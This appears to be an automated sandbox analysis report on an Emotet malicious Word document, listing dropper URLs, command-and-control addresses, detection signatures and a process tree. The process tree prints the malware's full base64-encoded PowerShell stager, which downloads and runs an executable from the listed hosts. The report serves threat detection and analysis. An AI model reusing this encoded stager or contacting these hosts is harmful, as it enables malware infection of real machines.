Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    93s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 18:16

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_5ad1d00e81e5e6bbc93829790980fabae6eab63a8638ed9bc024a27d083ffb87_2020-08-21__181515._doc.doc
  • Size 177KB
  • Sample200821-7ef5e1a94x
  • SHA256 5ad1d00e81e5e6bbc93829790980fabae6eab63a8638ed9bc024a27d083ffb87
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.hhbiao.com/ro/hEGGg/
  • exe.dropper

    https://kissanime24.com/anime/tnqblnm875789/
  • exe.dropper

    http://ahansatan.com/wp-admin/IPTpsJjvkKHDM/
  • exe.dropper

    http://goldoni.co.uk/bmnfg411/qQmxCDIzDcR/
  • exe.dropper

    http://hirken.com.au/images/kul5uy3a48/
  • exe.dropper

    http://hofhuistechniek.nl/localhost/ZDN9mtkv7hsl25097064/
  • exe.dropper

    http://itcnt.com.np/2xk_kxs_r3u3g4/u2ka4qa5362685/

Extracted

Family

  • emotet

C2

  • 162.249.220.190:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 181.113.229.139:443

  • 118.70.15.19:8080

  • 143.95.101.72:8080

  • 139.99.157.213:8080

  • 201.235.10.215:80

  • 181.137.229.1:80

  • 5.79.70.250:8080

  • 107.161.30.122:8080

  • 157.7.164.178:8081

  • 87.106.231.60:8080

  • 202.5.47.71:80

  • 172.105.78.244:8080

  • 177.94.227.143:80

  • 173.94.215.84:80

  • 181.126.54.234:80

  • 217.199.160.224:8080

  • 198.57.203.63:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5ad1d00e81e5e6bbc93829790980fabae6eab63a8638ed9bc024a27d083ffb87_2020-08-21__181515._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1304
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABMAF8AdgB1ADcAMgA0AD0AKAAnAEoAXwAnACsAJwAzADYAJwArACcANgAxAG4AJwApADsAJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBQAFwAbwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQBgAFIAaQBUAHkAcABgAFIAbwB0AGAAbwBDAG8ATAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABKADMAZgA4ADMAbgBsACAAPQAgACgAJwBOACcAKwAnAHQAJwArACcANgB1AHcAZgB2ACcAKQA7ACQATAAwAHMAMgBuAF8AeAA9ACgAJwBCAG0AYgBkAHUAXwAnACsAJwBiACcAKQA7ACQARgB2ADgAaAA5ADIAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcATgBkAHQATwBmAGYAaQAnACsAJwBjAGUAMgAwADEAOQBOACcAKwAnAGQAdAAnACkALgAiAFIARQBQAGAATABhAGMARQAiACgAKABbAGMAaABhAFIAXQA3ADgAKwBbAGMAaABhAFIAXQAxADAAMAArAFsAYwBoAGEAUgBdADEAMQA2ACkALABbAFMAdAByAGkATgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQASgAzAGYAOAAzAG4AbAArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAVQB5ADUAMABfAHoAdQA9ACgAJwBLADEAbwAnACsAJwBpAHMAMgB2ACcAKQA7ACQAUABiAHIAYgBlAHQAbgA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgBXAEUAYgBDAEwAaQBlAE4AVAA7ACQASABfAG8ANwBzAHQAOAA9ACgAJwBoACcAKwAnAHQAdABwAHMAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACsAJwBoACcAKwAnAGgAJwArACcAYgBpAGEAbwAuACcAKwAnAGMAbwBtACcAKwAnAC8AcgBvAC8AJwArACcAaABFAEcARwBnAC8AJwArACcAKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AawBpAHMAcwBhAG4AaQBtAGUAJwArACcAMgA0AC4AYwBvAG0ALwBhAG4AaQBtAGUALwB0AG4AcQBiAGwAJwArACcAbgBtADgAJwArACcANwA1ADcAOAAnACsAJwA5AC8AKgBoACcAKwAnAHQAdABwADoALwAvAGEAaABhAG4AcwAnACsAJwBhAHQAYQBuAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBJAFAAJwArACcAVAAnACsAJwBwAHMASgBqACcAKwAnAHYAawAnACsAJwBLACcAKwAnAEgARABNAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGcAbwBsAGQAbwBuAGkALgBjAG8ALgB1AGsALwBiAG0AbgBmAGcANAAxADEALwBxAFEAbQB4ACcAKwAnAEMARABJAHoARABjAFIALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AaABpAHIAawBlAG4ALgBjAG8AbQAuAGEAdQAvAGkAbQAnACsAJwBhACcAKwAnAGcAZQBzAC8AawB1AGwANQB1AHkAJwArACcAMwBhACcAKwAnADQAOAAvACoAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwBoACcAKwAnAG8AZgBoAHUAaQBzAHQAJwArACcAZQAnACsAJwBjAGgAJwArACcAbgBpAGUAawAuAG4AbAAvAGwAJwArACcAbwBjAGEAbAAnACsAJwBoAG8AcwB0AC8AWgBEAE4AJwArACcAOQBtACcAKwAnAHQAawAnACsAJwB2ADcAaABzACcAKwAnAGwAMgA1ADAAJwArACcAOQA3ACcAKwAnADAANgA0AC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGkAdABjACcAKwAnAG4AdAAuACcAKwAnAGMAbwBtAC4AbgBwAC8AMgB4AGsAJwArACcAXwBrACcAKwAnAHgAcwBfAHIAJwArACcAMwB1ADMAZwA0AC8AdQAyAGsAYQA0AHEAJwArACcAYQA1ACcAKwAnADMAJwArACcANgAyACcAKwAnADYAOAAnACsAJwA1AC8AJwApAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAYQBlADgAaQBjADcAPQAoACcASQBtADQAcwAnACsAJwB5AGsAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAG8AdQByAGMAZQB0ACAAaQBuACAAJABIAF8AbwA3AHMAdAA4ACkAewB0AHIAeQB7ACQAUABiAHIAYgBlAHQAbgAuACIARABvAFcATgBgAGwATwBhAEQAYABGAEkAbABlACIAKAAkAFUAbwB1AHIAYwBlAHQALAAgACQARgB2ADgAaAA5ADIAdAApADsAJABNAG4AMwAwAGwAeAB2AD0AKAAnAEsANgBtAHkAdwAnACsAJwBvACcAKwAnADkAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEYAdgA4AGgAOQAyAHQAKQAuACIAbABFAE4AYABHAHQASAAiACAALQBnAGUAIAAyADYAMwA0ADgAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQARgB2ADgAaAA5ADIAdAApADsAJABUAHoAdAA2AGUAaQB6AD0AKAAnAEwAeAAnACsAJwB5ADgAYgAnACsAJwBhAGQAJwApADsAYgByAGUAYQBrADsAJABXADIAZgBfAHgAMAAzAD0AKAAnAEoAcwAnACsAJwBvADIAaQA0ADkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADIAOAB3AG8AegBuAD0AKAAnAEMAJwArACcAZwA3ACcAKwAnAGEAOQA3AG4AJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Nt6uwfv.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Nt6uwfv.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Windows\SysWOW64\api-ms-win-service-winsvc-l1-1-0\devobj.exe
        "C:\Windows\SysWOW64\api-ms-win-service-winsvc-l1-1-0\devobj.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1120-19-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1304-7-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1304-2-0x0000000008810000-0x0000000008814000-memory.dmp
        Download

        memory/1304-8-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1304-6-0x000000000BD90000-0x000000000BD94000-memory.dmp
        Download

        memory/1304-18-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1304-5-0x000000000AD10000-0x000000000AD14000-memory.dmp
        Download

        memory/1644-23-0x00000000003C0000-0x00000000003CC000-memory.dmp
        Download

        memory/1668-9-0x000007FEEA330000-0x000007FEEAD1C000-memory.dmp
        Download

        memory/1668-15-0x000000001C170000-0x000000001C171000-memory.dmp
        Download

        memory/1668-14-0x000000001B660000-0x000000001B661000-memory.dmp
        Download

        memory/1668-13-0x00000000025D0000-0x00000000025D1000-memory.dmp
        Download

        memory/1668-12-0x0000000002670000-0x0000000002671000-memory.dmp
        Download

        memory/1668-11-0x000000001ACB0000-0x000000001ACB1000-memory.dmp
        Download

        memory/1668-10-0x0000000001FA0000-0x0000000001FA1000-memory.dmp
        Download

        memory/1964-24-0x000007FEE6C00000-0x000007FEE6E7A000-memory.dmp
        Download